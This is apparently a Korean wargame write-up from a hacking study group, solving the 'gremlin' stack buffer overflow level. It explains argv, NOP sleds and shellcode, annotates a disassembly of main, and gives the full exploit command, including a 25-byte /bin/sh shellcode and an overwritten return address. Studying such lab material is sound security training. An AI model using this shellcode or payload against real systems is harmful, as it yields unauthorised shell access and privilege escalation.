simple bof을 main의 매개변수 argv[2]에 쉘코드를 넣어서 공격하기
<문제를 해결하기 위해 알아야 할 개념들>
- argc(argument count) :
프로그램을 시작했을 때 전해지는 인자의 갯수
첫번째 인수는 실행파일의 경로로 고정되어 있어서 인자가 하나도 전달되지 않았을때의 값이 1
- argv(argument value) :
프로그램이 시작되었을때 넘겨받은 인자
데이터 타입에서 알 수 있듯이 모든 정보를 문자열로 처리
앞에서 언급했듯이 argv[0]는 파일의 경로를 값으로 갖고 argv[1]부터 차례로 인자들을 갖는다
-셸
커맨드 라인의 명령어, 혹은 스크립트를 받아 서버에서 그에 맞는 기능을 실행시켜주는 프로그램
-프로그램의 흐름을 조작해 셸을 실행하는 이유
권한 상승이나 본래의 프로그램이 의도치 않은 행위를 하기 위해서
취약점이 존재하는 바이너리를 익스플로잇하여 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획득하여 서버에 임의의 명령어를 실행할 수 있게 됨
-공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행한다면, 셸에서 제공하는 여러 명령어들을 실행할 수 있게 됨
25바이트 코드 일반적인 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
-NOP(No OPeration)
xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어
프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것과 같은 효과를 줌
주로 명령어의 주소 alignment를 맞출 때 사용됨
x86 아키텍처의 NOP 명령어 바이트코드는 0x90
NOP Sled, 혹은 NOP Slide
주로 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보하여 셸코드 주소의 오차 범위를 크게 만들 때 사용함

argc가 2보다 작을 시 에러 발생
<main의 어셈블리 코드>
Dump of assembler code for function main:
0x8048430 : push %ebp // 함수 프롤로그
0x8048431 <main+1>: mov %ebp,%esp // 스택 프레임 생성 과정
0x8048433 <main+3>: sub %esp,0x100 // 0x100(10진법으로는 256)만큼 스택 공간 확보
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] //argv[1]주소를 eax에 복사
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax] //argv[1]의 값을 edx에 복사
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax // eax값 스택에 push
0x8048466 <main+54>: call 0x8048370 <strcpy> //strcpy(eax, edx) 실행
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256] //buffer[256]주소 eax에 복사
0x8048474 <main+68>: push %eax // eax값 스택에 push
0x8048475 <main+69>: push 0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>// printf("%s\n") 실행
0x804847f <main+79>: add %esp,8 // 스택메모리 정리(push한 eax, 0x80484ec)
0x8048482 <main+82>: leave // 함수 에필로그 과정
0x8048483 <main+83>: ret //스택프레임 제거
0x8048484 <main+84>: nop
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
main 79에 중단점을 설정
buffer [256] +SFP[4] + RET[4]
A 256개 , B 4개, C 4개를 넣어 각 주소와 argv[2]의 위치 파악
esp를 확인하여 ret 주소 구하기
gdb를 빠져나와
./gremlin `python -c "print '\x90'*215 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + '\x90'*20 + '\x50\xf9\xff\xbf'"`
입력
bash라고 뜨면 id 입력
my-pass를 입력하면 다음 단계로 가기 위한 password를 볼 수 있다.
해결!!
풀고 나서 보니 뭔가 이상한 것 같다...
'Hacking Study > 포너블 스터디(2020-1) 과제' 카테고리의 다른 글
포너블 6주차 과제 (0) | 2020.05.30 |
---|---|
포너블 5주차 과제 (0) | 2020.05.24 |
포너블 3주차 과제 (0) | 2020.04.17 |
2주차 보충 - Format String Bug (0) | 2020.04.12 |
2주차 과제 (0) | 2020.04.10 |